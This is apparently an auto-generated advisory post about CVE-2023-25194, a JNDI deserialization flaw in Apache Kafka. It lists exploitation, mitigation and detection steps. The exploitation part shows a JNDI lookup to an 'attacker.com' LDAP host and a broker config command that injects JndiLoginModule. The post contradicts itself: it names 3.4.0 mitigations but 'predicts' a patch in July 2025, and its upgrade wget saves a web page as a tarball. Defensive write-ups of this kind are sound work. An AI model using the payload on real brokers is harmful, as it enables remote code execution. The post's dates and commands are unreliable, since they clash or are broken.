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How CVE-2023-25194 Works
This vulnerability allows remote code execution (RCE) or denial-of-service (DoS) via insecure deserialization in Apache Kafka’s SASL JAAS `JndiLoginModule` configuration. Attackers exploiting this flaw manipulate Kafka’s authentication mechanism by injecting malicious LDAP/JNDI payloads. When Kafka brokers process these payloads during SASL authentication, deserialization of untrusted data occurs, leading to arbitrary code execution under the broker’s privileges. The attack requires the `AlterConfigs` permission on the cluster resource.
Apache Kafka 3.4.0 introduced mitigations via the `-Dorg.apache.kafka.disallowed.login.modules` system property, blocking dangerous login modules. Later versions (3.9.1/4.0.0) disabled `JndiLoginModule` and `LdapLoginModule` by default.
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Platform: Apache Kafka
Version: <3.4.0
Vulnerability: RCE/DoS
Severity: High
Date: Jun 10, 2025
Prediction: Patch expected by Jul 2025
What Undercode Say:
Exploitation:
1. Payload Crafting:
javax.naming.InitialContext ctx = new InitialContext();
ctx.lookup("ldap://attacker.com/Exploit");
2. Kafka Broker Targeting:
bin/kafka-configs.sh --alter --entity-type brokers --entity-name 0 --add-config 'sasl.jaas.config=com.sun.security.auth.module.JndiLoginModule required ...'
Mitigation:
1. Immediate Workaround:
export KAFKA_OPTS="-Dorg.apache.kafka.disallowed.login.modules=com.sun.security.auth.module.JndiLoginModule"
2. Version Upgrade:
wget https://kafka.apache.org/downloads -O kafka_2.13-3.4.0.tgz
3. Network Hardening:
iptables -A INPUT -p tcp --dport 9092 -s trusted-ip -j ACCEPT
Detection:
1. Log Analysis:
grep "JndiLoginModule" /var/log/kafka/server.log
2. Config Audit:
bin/kafka-configs.sh --describe --entity-type brokers --entity-name 0
Permanent Fix:
- Upgrade to Kafka ≥3.4.0 and enforce:
sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required ...
References:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
